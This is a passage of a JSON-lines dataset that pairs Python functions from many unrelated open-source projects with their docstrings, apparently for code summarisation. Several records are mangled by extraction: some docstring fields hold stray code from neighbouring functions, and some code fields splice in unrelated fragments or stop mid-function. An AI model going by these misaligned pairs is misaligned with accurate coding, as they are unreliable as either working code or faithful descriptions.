attribute messages with an additional element"} {"code": "def setFrameRateInterval(self, frameRateInterval):\n\n if frameRateInterval == 0:\n return\n\n if not base.frameRateMeter:\n\n maxFrameRateInterval = base.config.GetDouble('max-frame-rate-interval', 30.0)\n globalClock.setAverageFrameRateInterval(min(frameRateInterval, maxFrameRateInterval))\n\n taskMgr.remove('frameRateMonitor')\n taskMgr.doMethodLater(frameRateInterval,\n self.frameRateMonitor, 'frameRateMonitor')\n", "nl": " This message is called at startup time, to start sendingframe rate reports. "} {"code": "def setShadowHeight(self, shadowHeight):\n assert self.notify.debugStateCall(self)\n if self.dropShadow:\n self.dropShadow.setZ(-shadowHeight)\n", "nl": "Places the shadow at a particular height below the avatar (ineffect, asserting that the avatar is shadowHeight feet abovethe ground).This is only useful when the active shadow is disabled viasetActiveShadow(0)."} {"code": "def on_enter_idle(self):\n self.advertise(OpenOmciEventType.state_change, self.state)", "nl": "Notify any subscribers for a capabilities event and wait untilstopped or ONU MIB database goes out of sync"} {"code": "def htmlCtxtReadFile(self, filename, encoding, options):\n ret = libxml2mod.htmlCtxtReadFile(self._o, filename, encoding, options)\n if ret is None:raise treeError('htmlCtxtReadFile() failed')\n __tmp = xmlDoc(_obj=ret)\n return __tmp\n", "nl": "parse an XML file from the filesystem or the network. Thisreuses the existing @ctxt parser context "} {"code": "def shorten(url):\n if not url:\n return\n doi = to_doi(url)\n if doi:\n return doi\n match = https_re.match(url.strip())\n if match:\n return match.group(1)\n\n short_splash = shorten(splash_url)\n short_pdf = shorten(pdf_url)\n\n if short_splash == None or paper == None:\n return\n\n records = list(paper.oairecord_set.all()[:MAX_OAIRECORDS_PER_PAPER])\n paper.cached_oairecords = records\n for record in records:\n short_splash2 = shorten(record.splash_url)\n short_pdf2 = shorten(record.pdf_url)\n if (short_splash == short_splash2 or\n (short_pdf is not None and\n short_pdf2 == short_pdf)):\n return record\n\n class Meta:\n verbose_name = \"OAI record\"\n\n", "nl": "removes the 'https?' prefix or converts to DOI"} {"code": "def get_centers(self) -> torch.Tensor:\n return (self.tensor[:, :2] + self.tensor[:, 2:]) / 2\n", "nl": "Returns:The box centers in a Nx2 array of (x, y)."} {"code": "def window(self, windowNum=0):\n if self._pid == -1:\n return None\n if not self.hasWindow():\n return None\n x,y,w,h = PlatformManager.getWindowRect(PlatformManager.getWindowByPID(self._pid, windowNum))\n return Region(x,y,w,h).clipRegionToScreen()\n", "nl": " Returns the region corresponding to the specified window of the app.Defaults to the first window found for the corresponding PID."} {"code": "def summary(self, **kwargs) -> pd.DataFrame:\n assert self.gene_ids is not None\n\n raw_logfc = self.log_fold_change(base=2.)\n\n flat_logfc = raw_logfc.reshape(-1, raw_logfc.shape[-1])\n r, c = np.unravel_index(flat_logfc.argmax(0), raw_logfc.shape[:2])\n logfc = raw_logfc[r, c, np.arange(raw_logfc.shape[-1])] * np.where(r <= c, 1, -1)\n\n res = pd.DataFrame({\n \"gene\": self.gene_ids,\n \"pval\": np.min(self.pval.reshape(-1, self.pval.shape[-1]), axis=0),\n \"qval\": np.min(self.qval.reshape(-1, self.qval.shape[-1]), axis=0),\n \"log2fc\": np.asarray(logfc),\n \"mean\": np.asarray(self.mean)\n })\n\n return res\n\n\nclass DifferentialExpressionTestVsRest(_DifferentialExpressionTestMulti):\n \"\"\"\n", "nl": "Summarize differential expression results into an output table.:return: pandas.DataFrame with the following columns:- gene: the gene id's- pval: the minimum per-gene p-value of all tests- qval: the minimum per-gene q-value of all tests- log2fc: the maximal/minimal (depending on which one is higher) log2 fold change of the genes- mean: the mean expression of the gene across all groups"} {"code": "def disable_alarm_actions(self, alarm_names):\n params = {}\n self.build_list_params(params, alarm_names, 'AlarmNames.member.%s')\n return self.get_status('DisableAlarmActions', params)\n", "nl": "Disables actions for the specified alarms.:type alarms: list:param alarms: List of alarm names."} {"code": "def filelineno():\n if not _state:\n raise RuntimeError(\"no active input()\")\n return _state.filelineno()\n", "nl": "Return the line number in the current file. Before the first linehas been read, returns 0. After the last line of the last file hasbeen read, returns the line number of that line within the file."} {"code": "def __init__(self, parent):\n super(LogTextEdit, self).__init__(parent)\n\n self._context_menu = None\n", "nl": "Creates the LogTextEdit instance and calls the necessary methods toupdate the line-number area@param parent: The parent widget@type parent: QtWidgets.QWidget"} {"code": "def _schedule(self, n, f, *a, **kw):\n t = (n, f, a, kw)\n self.scheduled.append(t)\n return _DelayedCall(self.scheduled, t)\n\n", "nl": "Deterministic, rigidly controlled stand-in for reactor.callLater()."} {"code": "def test_toElementName(self):\n item = xmppim.RosterItem(JID('user@example.org'),\n name='Joe User')\n element = item.toElement()\n self.assertEqual(u'Joe User', element.getAttribute('name'))\n\n", "nl": "A roster item's name is rendered to the 'name' attribute."} {"code": "def test_module_constraint_sudo(self):\n Check that ModuleConstraintParseError is raised when a module has a typo in the constraint.\n In this scenario, the module is missing a colon after the constraint key name which causes yaml to fail to\n parse the file.\n \"\"\"", "nl": "Check that ModuleConstraintKeyError is raised when a module is missing the sudo constraint.module_path = os.path.join(self.callpath, \"test/modules/bad_mod.d/missing_sudo.yaml\")with self.assertRaises(ec2rlcore.module.ModuleConstraintKeyError):with contextlib.redirect_stdout(self.output):ec2rlcore.module.get_module(module_path)self.assertEqual(self.output.getvalue(),\"Module parsing error: 'missing_sudo.yaml' missing required constraint 'sudo'.\\n\")def test_module_malformed_constraint(self):"} {"code": "def q_data(self):\n return self._q_data\n", "nl": " Get the internal QMimeData object.This method is for toolkit backend use only.Returns-------result : QMimeDataThe Qt specific mime data object."} {"code": "def _unstack_extension_series(series, level, fill_value):\n from pandas.core.reshape.concat import concat\n\n dummy_arr = np.arange(len(series))\n result = _Unstacker(dummy_arr, series.index,\n level=level, fill_value=-1).get_result()\n\n out = []\n values = extract_array(series, extract_numpy=False)\n\n for col, indices in result.iteritems():\n out.append(Series(values.take(indices.values,\n allow_fill=True,\n fill_value=fill_value),\n name=col, index=result.index))\n return concat(out, axis='columns', copy=False, keys=result.columns)\n\n", "nl": "Unstack an ExtensionArray-backed Series.The ExtensionDtype is preserved.Parameters----------series : SeriesA Series with an ExtensionArray for valueslevel : AnyThe level name or number.fill_value : AnyThe user-level (not physical storage) fill value to use formissing values introduced by the reshape. Passed to``series.values.take``.Returns-------DataFrameEach column of the DataFrame will have the same dtype asthe input Series."} {"code": "def getFileEntry(self, contents):\n filename = self.mktemp()\n with zipfile.ZipFile(filename, 'w', self.compression) as z:\n z.writestr('content', contents)\n z = zipstream.ChunkingZipFile(filename, 'r')\n return z.readfile('content')\n\n", "nl": "Return an appropriate zip file entry"} {"code": "def Combine(self, expert_out, multiply_by_gates=True):\n stitched = ConvertGradientToTensor(tf.concat(expert_out, 0))\n if multiply_by_gates:\n stitched *= tf.expand_dims(self._nonzero_gates, 1)\n combined = tf.unsorted_segment_sum(stitched, self._batch_index,\n tf.shape(self._gates)[0])\n return combined\n", "nl": "Sum together the expert output, weighted by the gates.The slice corresponding to a particular batch element `b` is computedas the sum over all experts `i` of the expert output, weighted by thecorresponding gate values. If `multiply_by_gates` is set to False, thegate values are ignored.Args:expert_out: a list of `num_experts` `Tensor`s, each with shape`[expert_batch_size_i, ]`.multiply_by_gates: a booleanReturns:a `Tensor` with shape `[batch_size, ]`."} {"code": "def get_stochastic_depth_rate(init_rate, i, n):\n if init_rate is not None:\n if init_rate < 0 or init_rate > 1:\n raise ValueError('Initial drop rate must be within 0 and 1.')\n rate = init_rate * float(i) / n\n else:\n rate = None\n return rate\n\n\n@tf.keras.utils.register_keras_serializable(package='Vision')\nclass StochasticDepth(tf.keras.layers.Layer):\n \"\"\"Creates a stochastic depth layer.\"\"\"", "nl": "Get drop connect rate for the ith block.Args:init_rate: A `float` of initial drop rate.i: An `int` of order of the current block.n: An `int` total number of blocks.Returns:Drop rate of the ith block."} {"code": "def opts_has_action(self, opts):\n global ACTIONS_OPT_METHOD_NAME\n has_action = False\n for action in ACTIONS_OPT_METHOD_NAME:\n value = getattr(opts, action)\n if value is not None:\n has_action = True\n return has_action\n", "nl": "Checks if (parsed) opts has a first class action"} {"code": "def info(self):\n for key, value in self.dataset['info'].items():\n print '%s: %s'%(key, value)\n", "nl": "Print information about the annotation file.:return:"} {"code": "def train(self):\n for i in xrange(self.num_steps):\n if c.ADVERSARIAL:\n batch = get_train_batch()\n print 'Training discriminator...'\n self.d_model.train_step(batch, self.g_model)\n\n batch = get_train_batch()\n print 'Training generator...'\n self.global_step = self.g_model.train_step(\n batch, discriminator=(self.d_model if c.ADVERSARIAL else None))\n\n if self.global_step % c.MODEL_SAVE_FREQ == 0:\n print '-' * 30\n print 'Saving models...'\n self.saver.save(self.sess,\n c.MODEL_SAVE_DIR + 'model.ckpt',\n global_step=self.global_step)\n print 'Saved models!'\n print '-' * 30\n\n if self.global_step % c.TEST_FREQ == 0:\n self.test()\n", "nl": "Runs a training loop on the model networks."} {"code": "def prepare(self):\n\n\t\tpass\n", "nl": "Implements the prepare phase of the item.self.experiment.var.set(u'count_%s' % self.name, self.count)self.count += 1def run(self):Implements the run phase of the item."} {"code": "def Postorder_print_hint(self):\n print_msg_box(message)\n", "nl": "message = Printing A Binary Tree PostOrder Traversal------------------------------------Purpose : Printing a Binary Tree(PostOrder Traversal)Method : Recursion, Binary TreeTime Complexity : Worst Case - O(n), n = Number of nodes in a Binary TreeHint :print order -> LEFT -- RIGHT -- ROOTuse recursion to call into the left and the right subtree, Print the rootPseudocode :--> if(root is None) return--> print(root.left.value)--> print(root.right.value)--> print(root.value)Visualization:Given Binary Tree :+------+| 12 | <-- root+------+/ \\\\/ \\\\+------+ +------+root.left --> | 6 | | 14 | <-- root.right+------+ +------+/ \\\\ / \\\\/ \\\\ / \\\\+------+ +------+ +------+ +------+| 3 | | 7 | | 13 | | 15 |+------+ +------+ +------+ +------+step 1 : Print the left, print right, print root+------+| 6 | <-- root+------+/ \\\\/ \\\\+------+ +------+root.left --> | 3 | | 7 | <-- root.right+------+ +------+output : LEFT -- RIGHT -- ROOT3 7 6Finally The Output :---------------------------------| 3, 7, 6, 13, 15, 14, 12 |---------------------------------Learn More:- Binary Trees - https://en.wikipedia.org/wiki/Binary_tree- Recursion - https://en.wikipedia.org/wiki/Recursion_(computer_science)"} {"code": "def clear_all(context: t.Optional[str] = None) -> None:\n for name in Filter.INDEX:\n clear(name, context=context)\n\n", "nl": "Clear any previously defined filter with the given context."} {"code": "def project_name(self) -> NormalizedName:\n raise NotImplementedError(\"Subclass should override\")\n\n @property", "nl": "The \"project name\" of a requirement.This is different from ``name`` if this requirement contains extras,in which case ``name`` would contain the ``[...]`` part, while thisrefers to the name of the project."} {"code": "def is_sequential(self, other):\n\n If self.is_sequential(other) is not True then adding results in", "nl": "Check if a satin segment immediately follows this one on the same satin.if not isinstance(other, SatinSegment):return Falseif self.satin is not other.satin:return Falseif self.reverse != other.reverse:return Falseif self.reverse:return self.start == other.endelse:return self.end == other.startdef __add__(self, other):Combine two sequential SatinSegments."} {"code": "def get_order(self, order_id):\n\n if coin:\n params = {\"currency\": self.format_pair(coin)}\n else:\n params = {}\n\n return self.private_api(self.url + \"account\" + \"/getwithdrawalhistory\",\n params=params)[\"result\"]\n", "nl": "retrieve a single order by uuid.return self.private_api(self.url + \"account\" + \"/getorder\",params={\"uuid\": order_id})[\"result\"]def get_withdraw_history(self, coin=None):retrieve withdrawal history."} {"code": "def create_graph_from_data(self, data, **kwargs):\n self.arguments['{SCORE}'] = self.scores[self.score]\n self.arguments['{CUTOFF}'] = str(self.cutoff)\n self.arguments['{VARSEL}'] = str(self.variablesel).upper()\n self.arguments['{SELMETHOD}'] = self.var_selection[self.selmethod]\n self.arguments['{PRUNING}'] = str(self.pruning).upper()\n self.arguments['{PRUNMETHOD}'] = self.var_selection[self.prunmethod]\n self.arguments['{NJOBS}'] = str(self.njobs)\n self.arguments['{VERBOSE}'] = str(self.verbose).upper()\n results = self._run_cam(data, verbose=self.verbose)\n\n return nx.relabel_nodes(nx.DiGraph(results),\n {idx: i for idx, i in enumerate(data.columns)})\n", "nl": "Apply causal discovery on observational data using CAM.Args:data (pandas.DataFrame): DataFrame containing the dataReturns:networkx.DiGraph: Solution given by the CAM algorithm."} {"code": "def p_import_from9(self, p):\n p[0] = [p[1]]\n", "nl": " import_from : FROM import_from_dots IMPORT LPAR import_as_names RPAR imprt = ast.ImportFrom(module=None, names=p[5], level=len(p[2]))imprt.col_offset = 0p[0] = imprtdef p_import_from_dots1(self, p): import_from_dots : DOT "} {"code": "def _add_efs_storage(self, id: str, shared_efs: SharedEfs):\n availability_zone = AWSApi.instance().ec2.get_subnet_avail_zone(subnet_id)\n if availability_zone not in checked_availability_zones:\n if new_file_system or not AWSApi.instance().efs.get_efs_mount_target_id(file_system_id, availability_zone):\n efs.CfnMountTarget(\n self,\n \"{0}MT{1}\".format(efs_cfn_resource_id, availability_zone),\n file_system_id=file_system_id,\n security_groups=security_groups,\n subnet_id=subnet_id,\n )\n checked_availability_zones.append(availability_zone)\n", "nl": "Add specific Cfn Resources to map the EFS storage.# EFS FileSystemefs_id = shared_efs.file_system_idnew_file_system = efs_id is Noneif not efs_id and shared_efs.mount_dir:efs_resource = efs.CfnFileSystem(self,id,encrypted=shared_efs.encrypted,kms_key_id=shared_efs.kms_key_id,performance_mode=shared_efs.performance_mode,provisioned_throughput_in_mibps=shared_efs.provisioned_throughput,throughput_mode=shared_efs.throughput_mode,)efs_resource.tags.set_tag(key=\"Name\", value=shared_efs.name)efs_id = efs_resource.refchecked_availability_zones = []# Mount Targets for Compute Fleetcompute_subnet_ids = self.config.compute_subnet_idscompute_node_sgs = self._get_compute_security_groups()for subnet_id in compute_subnet_ids:self._add_efs_mount_target(id, efs_id, compute_node_sgs, subnet_id, checked_availability_zones, new_file_system)# Mount Target for Head Nodeself._add_efs_mount_target(id,efs_id,compute_node_sgs,self.config.head_node.networking.subnet_id,checked_availability_zones,new_file_system,)return efs_iddef _add_efs_mount_target(self,efs_cfn_resource_id,file_system_id,security_groups,subnet_id,checked_availability_zones,new_file_system,):Create a EFS Mount Point for the file system, if not already available on the same AZ."} {"code": "def safe_no_home(home):\n if home:\n raise RuntimeError(\n 'The `config.home` option has been removed and should not be '\n 'used anymore. Please set the `config.base_compiledir` option '\n 'instead (for instance to: %s)' %\n os.path.join(home, '.theano'))\n return True\n\n\nAddConfigVar(\n 'home',\n \"This config option was removed in 0.5: do not use it!\",\n ConfigParam('', allow_override=False, filter=safe_no_home),\n in_c_key=False)\n\n\nAddConfigVar(\n 'nocleanup',\n \"Suppress the deletion of code files that did not compile cleanly\",\n BoolParam(False),\n in_c_key=False)\n\nAddConfigVar('on_unused_input',\n \"What to do if a variable in the 'inputs' list of \"\n \" theano.function() is not used in the graph.\",\n EnumStr('raise', 'warn', 'ignore'),\n in_c_key=False)\n\nAddConfigVar(\n 'tensor.cmp_sloppy',\n \"Relax tensor._allclose (0) not at all, (1) a bit, (2) more\",\n IntParam(0, lambda i: i in (0, 1, 2), allow_override=False),\n in_c_key=False)\n\nAddConfigVar(\n 'tensor.local_elemwise_fusion',\n (\"Enable or not in fast_run mode(fast_run optimization) the elemwise \"\n \"fusion optimization\"),\n BoolParam(True),\n in_c_key=False)\n\nAddConfigVar(\n 'gpu.local_elemwise_fusion',\n (\"Enable or not in fast_run mode(fast_run optimization) the gpu \"\n \"elemwise fusion optimization\"),\n BoolParam(True),\n in_c_key=False)\n", "nl": "Make sure the user is not attempting to use `config.home`.This config option was removed in Thenao 0.5 since it was redundant with`config.base_compiledir`. This filter function ensures people who weresetting the location of their compilation directory through `config.home`switch to `config.basecompiledir` instead, by raising an error when`config.home` is used."} {"code": "def load_tracker(self, path, tracker_names=None, store=True):\n if not tracker_names:\n tracker_names = [x.split('/')[-1] for x in glob(path)\n if os.path.isdir(x)]\n if isinstance(tracker_names, str):\n tracker_names = [tracker_names]\n for name in tracker_names:\n traj_file = os.path.join(path, name, self.name+'.txt')\n if os.path.exists(traj_file):\n with open(traj_file, 'r') as f :\n pred_traj = [list(map(float, x.strip().split(',')))\n for x in f.readlines()]\n else:\n print(\"File not exists: \", traj_file)\n if self.name == 'monkey-17':\n pred_traj = pred_traj[:len(self.gt_traj)]\n if store:\n self.pred_trajs[name] = pred_traj\n else:\n return pred_traj\n self.tracker_names = list(self.pred_trajs.keys())\n\n\n\nclass LaSOTDataset(Dataset):\n \"\"\"", "nl": "Args:path(str): path to resulttracker_name(list): name of tracker"} {"code": "def responseFromRequest(self, code, request):\n response = Response(code)\n for name in (\"via\", \"to\", \"from\", \"call-id\", \"cseq\"):\n response.headers[name] = request.headers.get(name, [])[:]\n return response\n\n", "nl": "Create a response to a request message."} {"code": "def _getReq(self):\n d = DummyChannel()\n d.site.resource.putChild(b'gettableresource', GettableResource())\n d.transport.port = 81\n request = server.Request(d, 1)\n request.setHost(b'example.com', 81)\n request.gotLength(0)\n return request\n\n", "nl": "Generate a dummy request for use by C{_computeAllowedMethod} tests."} {"code": "def spectral_radius_bound(X, log2_exponent):\n if X.type.ndim != 2:\n raise TypeError('spectral_radius_bound requires a matrix argument', X)\n if not isinstance(log2_exponent, integer_types):\n raise TypeError('spectral_radius_bound requires an integer exponent',\n log2_exponent)\n if log2_exponent <= 0:\n raise ValueError('spectral_radius_bound requires a strictly positive '\n 'exponent', log2_exponent)\n\n XX = X\n for i in xrange(log2_exponent):\n XX = tensor.dot(XX, XX)\n return tensor.pow(trace(XX),\n 2 ** (-log2_exponent))", "nl": "Returns upper bound on the largest eigenvalue of square symmetrix matrix X.log2_exponent must be a positive-valued integer. The larger it is, theslower and tighter the bound. Values up to 5 should usually suffice. Thealgorithm works by multiplying X by itself this many times.From V.Pan, 1990. \"Estimating the Extremal Eigenvalues of a SymmetricMatrix\", Computers Math Applic. Vol 20 n. 2 pp 17-22.Rq: an efficient algorithm, not used here, is defined in this paper."} {"code": "def profile_likes_count_decrease(target_user: User):\n try:\n with transaction.atomic():\n dillo.models.profiles.Profile.objects.filter(user=target_user).update(\n likes_count=F('likes_count') - 1\n )\n except IntegrityError:\n log.warning('Integrity error when incrementing likes count for user %i' % target_user.id)\n target_user.profile.recalculate_likes()\n\n\n@receiver(post_delete, sender=dillo.models.mixins.Likes)", "nl": "Decrease user profile likes of -1.The function is available as standalone for easier unit testing."} {"code": "def git_rev_list_ish(cmd, spec, args=None, **kw):\n if spec is None:\n return []\n if args is None:\n args = []\n args = [cmd, '--stdin'] + args\n spec_stdin = ''.join(s + '\\n' for s in spec)\n return read_git_lines(args, input=spec_stdin, **kw)\n\n", "nl": "Common functionality for invoking a 'git rev-list'-like command.Parameters:* cmd is the Git command to run, e.g., 'rev-list' or 'log'.* spec is a list of revision arguments to pass to the namedcommand. If None, this function returns an empty list.* args is a list of extra arguments passed to the named command.* All other keyword arguments (if any) are passed to theunderlying read_git_lines() function.Return the output of the Git command in the form of a list, oneentry per output line."} {"code": "def OnTypeChanged(self, event):\n for type, (radio, control) in self.TypeRadioButtons.iteritems():\n if control is not None:\n control.Enable(radio.GetValue())\n\n self.RefreshPreview()\n event.Skip()\n", "nl": "Called when transition type changed@param event: wx.RadioButtonEvent"} {"code": "def merge_num_denum(self, num, denum):\n\n ln, ld = len(num), len(denum)\n if not ln and not ld:\n return T.as_tensor_variable(self.calculate([], []))\n if not ln:\n if self.use_reciprocal:\n return self.reciprocal(self.merge_num_denum(denum, []))\n else:\n ln = [self.calculate([], [], aslist=False)]\n if not ld:\n if ln == 1:\n assert isinstance(num[0], gof.Variable)\n return num[0]\n else:\n return self.main(*num)\n return self.inverse(self.merge_num_denum(num, []),\n self.merge_num_denum(denum, []))\n\n @staticmethod", "nl": "Utility function which takes two lists, num and denum, andreturns something which is equivalent to inverse(main(\\*num),main(\\*denum)), but depends on the length of num and the lengthof denum (in order to minimize the number of operations).Let n = len(num) and d = len(denum):| n=0, d=0: neutral element (given by self.calculate([], []))| (for example, this would be 0 if main is addition| and 1 if main is multiplication)| n=1, d=0: num[0]| n=0, d=1: reciprocal(denum[0])| n=1, d=1: inverse(num[0], denum[0])| n=0, d>1: reciprocal(main(\\*denum))| n>1, d=0: main(\\*num)| n=1, d>1: inverse(num[0], main(\\*denum))| n>1, d=1: inverse(main(\\*num), denum[0])| n>1, d>1: inverse(main(\\*num), main(\\*denum))Given the values of n and d to which they are associated, allof the above are equivalent to:inverse(main(\\*num), main(\\*denum))"} {"code": "def _model_variable_scope(self):\n\n return tf.variable_scope('resnet_model',\n custom_getter=self._custom_dtype_getter)\n", "nl": "Returns a variable scope that the model should be created under.If self.dtype is a castable type, model variable will be created in fp32then cast to self.dtype before being used.Returns:A variable scope for the model."} {"code": "def remove(self, label):\n self._added.clear()\n self._removed.clear()\n", "nl": "Remove a label.label = str(label)key = label.lower()if key not in self._backing:returnif key in self._added:del self._added[key]else:self._removed[key] = labeldel self._backing[key]def reset_tracking(self):Reset tracking."} {"code": "def __call__(self, *args, **kwargs):\n A generic HTTP request method, similar to `requests.Session.request`\n but with added caching-related tools\n\n This is a low-level method not generally intended for use by astroquery\n end-users. However, it should _always_ be used by astroquery\n developers; direct uses of `urllib` or `requests` are almost never\n correct.\n\n Parameters\n ----------\n method : str\n 'GET' or 'POST'\n url : str\n params : None or dict\n data : None or dict\n json : None or dict\n headers : None or dict\n auth : None or dict\n files : None or dict\n See `requests.request`\n save : bool\n Whether to save the file to a local directory. Caching will happen\n independent of this parameter if `BaseQuery.cache_location` is set,\n but the save location can be overridden if ``save==True``\n savedir : str\n The location to save the local file if you want to save it\n somewhere other than `BaseQuery.cache_location`\n timeout : int\n cache : bool\n verify : bool\n Verify the server's TLS certificate?\n (see http://docs.python-requests.org/en/master/_modules/requests/sessions/?highlight=verify)\n continuation : bool\n If the file is partly downloaded to the target location, this\n parameter will try to continue the download where it left off.\n See `_download_file`.\n stream : bool\n return_response_on_save : bool", "nl": " init a fresh copy of self return self.__class__(*args, **kwargs)def _response_hook(self, response, *args, **kwargs):loglevel = log.getEffectiveLevel()if loglevel >= 10:# Log request at DEBUG severityrequest_hdrs = '\\n'.join(f'{k}: {v}' for k, v in response.request.headers.items())request_log = textwrap.indent(f\"-----------------------------------------\\n\"f\"{response.request.method} {response.request.url}\\n\"f\"{request_hdrs}\\n\"f\"\\n\"f\"{response.request.body}\\n\"f\"-----------------------------------------\", '\\t')log.debug(f\"HTTP request\\n{request_log}\")if loglevel >= 5:# Log response at super-DEBUG severityresponse_hdrs = '\\n'.join(f'{k}: {v}' for k, v in response.headers.items())if kwargs.get('stream'):response_log = textwrap.indent(f\"-----------------------------------------\\n\"f\"{response.status_code} {response.reason} {response.url}\\n\"f\"{response_hdrs}\\n\"\"Streaming Data\\n\"f\"-----------------------------------------\", '\\t')else:response_log = textwrap.indent(f\"-----------------------------------------\\n\"f\"{response.status_code} {response.reason} {response.url}\\n\"f\"{response_hdrs}\\n\"f\"\\n\"f\"{response.text}\\n\"f\"-----------------------------------------\", '\\t')log.log(5, f\"HTTP response\\n{response_log}\")def _request(self, method, url,params=None, data=None, headers=None,files=None, save=False, savedir='', timeout=None, cache=True,stream=False, auth=None, continuation=True, verify=True,allow_redirects=True,json=None, return_response_on_save=False):"} {"code": "def flatten_inplace(seq):\n (This docstring should be overwritten)\n \"\"\"", "nl": "Flatten a sequence in place.k = 0while (k != len(seq)):while hasattr(seq[k], '__iter__'):seq[k:(k + 1)] = seq[k]k += 1return seqdef apply_along_axis(func1d, axis, arr, *args, **kwargs):"} {"code": "def add_dynamic_context(self, plugin):\n self._add_plugin(plugin, self.context_switchers)\n", "nl": "Add a dynamic context plugin.`plugin` is an instance of a third-party plugin class. It mustimplement the :meth:`CoveragePlugin.dynamic_context` method."} {"code": "def update_network(self, loss_dict):\n self.train_tb.add_scalar('learning_rate', self.optimizer.param_groups[-1]['lr'], self.clock.epoch)\n if self.scheduler is not None:\n self.scheduler.step(self.clock.epoch)\n", "nl": "update network by back propagationloss = sum(loss_dict.values())self.optimizer.zero_grad()loss.backward()self.optimizer.step()def update_learning_rate(self):record and update learning rate"} {"code": "def _generate_confirmation_email(self):\n context = {\n 'user': self.user,\n 'activate_url': self._activate_url(),\n 'confirmation_key': self.confirmation_key,\n }\n\n subject = render_to_string('user_settings/email_confirmation_subject.django.txt', context)\n subject = ''.join(subject.splitlines())\n message = render_to_string('user_settings/email_confirmation_message.django.txt', context)\n return (subject, message,)\n", "nl": "Returns a tuple of the email subject and message."} {"code": "def kepubify_template(self):\n return self.get_pref(\"upload_encumbered\")\n\n @property", "nl": "Determine the kepubify template.return self.get_pref(\"kepubify_template\")@propertydef upload_encumbered(self):Determine if DRM-encumbered files will be uploaded."} {"code": "def test_purity_fitters(self):\n fitters \"\"\"", "nl": " Test the purity fitters # Use json results filestests_settings = [{'npurity': 9,'rb_opts': {'xdata': np.array([[1, 21, 41, 61, 81, 101, 121,141, 161, 181],[1, 21, 41, 61, 81, 101, 121,141, 161, 181]]),'rb_pattern': [[0, 1], [2, 3]],'shots': 200},'results_file': os.path.join(os.path.dirname(__file__),'test_fitter_purity_results.json'),'expected_results_file': os.path.join(os.path.dirname(__file__),'test_fitter_purity_expected_results.json')},{'npurity': 9,'rb_opts': {'xdata': np.array([[1, 21, 41, 61, 81, 101, 121,141, 161, 181],[1, 21, 41, 61, 81, 101, 121,141, 161, 181]]),'rb_pattern': [[0, 1], [2, 3]],'shots': 200},'results_file': os.path.join(os.path.dirname(__file__),'test_fitter_coherent_purity_results.json'),'expected_results_file':os.path.join(os.path.dirname(__file__),'test_fitter_coherent_purity_expected_results.json')}]for tst_index, tst_settings in enumerate(tests_settings[0:1]):purity_result_list = load_results_from_json(tst_settings['results_file'])with open(tst_settings['expected_results_file'], \"r\") as expected_results_file:tst_expected_results = json.load(expected_results_file)# PurityRBFitter classrbfit_purity = PurityRBFitter(purity_result_list,tst_settings['npurity'],tst_settings['rb_opts']['xdata'],tst_settings['rb_opts']['rb_pattern'])ydata = rbfit_purity.ydatafit = rbfit_purity.fitself.compare_results_and_excpected(ydata, tst_expected_results['ydata'], tst_index)self.compare_results_and_excpected(fit, tst_expected_results['fit'], tst_index)def test_cnotdihedral_fitters(self): Test the non-clifford cnot-dihedral CNOT-Dihedral"} {"code": "def plot(self, name, y,**kwargs):\n x = self.index.get(name, 0)\n self.vis.line(Y=np.array([y]), X=np.array([x]),\n win=unicode(name),\n opts=dict(title=name),\n update=None if x == 0 else 'append',\n **kwargs\n )\n self.index[name] = x + 1\n", "nl": "self.plot('loss',1.00)"} {"code": "def data_missing():\n if request.param == \"data\":\n return data\n elif request.param == \"data_missing\":\n return data_missing\n\n\n@pytest.fixture", "nl": "Length-2 array with [NA, Valid]raise NotImplementedError@pytest.fixture(params=[\"data\", \"data_missing\"])def all_data(request, data, data_missing):Parametrized fixture giving 'data' and 'data_missing'"} {"code": "def belongsTo(self):\n\t\tif len(g_modules)==0:\n\t\t\tpopulateModuleInfo()\n\t\tfor thismodule,modproperties in g_modules.iteritems():\n\t\t\t\tthisbase = getModuleProperty(thismodule,\"base\")\n\t\t\t\tthistop = getModuleProperty(thismodule,\"top\")\n\t\t\t\tif (self.address >= thisbase) and (self.address <= thistop):\n\t\t\t\t\treturn thismodule\n\t\treturn \"\"\n", "nl": "Retrieves the module a given pointer belongs toArguments:NoneReturn:String with the name of the module a pointer belongs to,or empty if pointer does not belong to a module"} {"code": "def playback_capture(self, filename):\n payload = struct.pack(\n ' 2:raise AddressValueError(\"Only one '/' permitted in %r\" % address)return addrdef _find_address_range(addresses):Find a sequence of sorted deduplicated IPv#Address."} {"code": "def test_prefix_preservation(self):\n a = \"\"\"\n self.check(b, a)\n", "nl": "b = try:passexcept (RuntimeError, ImportError), e:pass"} {"code": "def test_exists():\n\n for flag in ['-h', '--help']:\n rv, out = getstatusoutput(f'{prg} {flag}')\n assert rv == 0\n assert out.lower().startswith('usage')\n\n", "nl": "existsassert os.path.isfile(prg)# --------------------------------------------------def test_usage():usage"} {"code": "def _mask(self, env, size, stdev):\n\n\t\tsize = int(np.ceil(np.sqrt(size))**2)\n\t\tenv = canvas._match_env(env)\n\t\tif env == u'c':\n\t\t\treturn u'circle', size\n\t\tif env == u'g':\n\t\t\treturn u'gauss', 6 * stdev\n\t\tif env == u'r':\n\t\t\treturn u'None', size\n\t\tif env == u'l':\n\t\t\t_env = np.zeros([size, size])\n\t\t\tfor x in range(size):\n\t\t\t\tfor y in range(size):\n\t\t\t\t\tr = np.sqrt((x-size/2)**2+(y-size/2)**2)\n\t\t\t\t\t_env[x, y] = (max(0, (0.5*size-r) / (0.5*size))-0.5)*2\n\t\t\treturn _env, size\n\t\traise ValueError('Invalid mask')\n\n\nclass RotatingElement(object):\n", "nl": "visible: Falsedesc:Generates a PsychoPy mask for Gabor and NoisePatch stimuli.arguments:env:desc:\tThe envelope.type:\tstrsize:desc:\tThe stimulus size.type:\tintstdev:desc:\tThe standard deviation of the mask if the envelope isgaussian.type:\tintreturns:desc:\tA PsychoPy mask, which is a numpy array.type:\tndarray"} {"code": "def test_valid(self, base_config, tmp_fact):\n raw_fact, expectation = raw_fact_parametrized\n result = helpers.parse_raw_fact(raw_fact)\n assert result['timeinfo'] == expectation['timeinfo']\n assert result['activity'] == expectation['activity']\n assert result['category'] == expectation['category']\n assert result['description'] == expectation['description']", "nl": "Make sure that we return the stored 'ongoing fact' as expected.result = helpers._load_tmp_fact(base_config['tmpfile_path'])assert result == tmp_factclass TestParseRawFact(object):def test_parsing(self, raw_fact_parametrized):Make sure extracted components match our expectations."} {"code": "def get_convert_conf(entry: ConfigEntry) -> Optional[str]:\n return (\n CONF_SCANDINAVIAN_MILES\n if entry.options.get(CONF_SCANDINAVIAN_MILES, entry.data.get(CONF_SCANDINAVIAN_MILES, False))\n else CONF_NO_CONVERSION\n )\n\n", 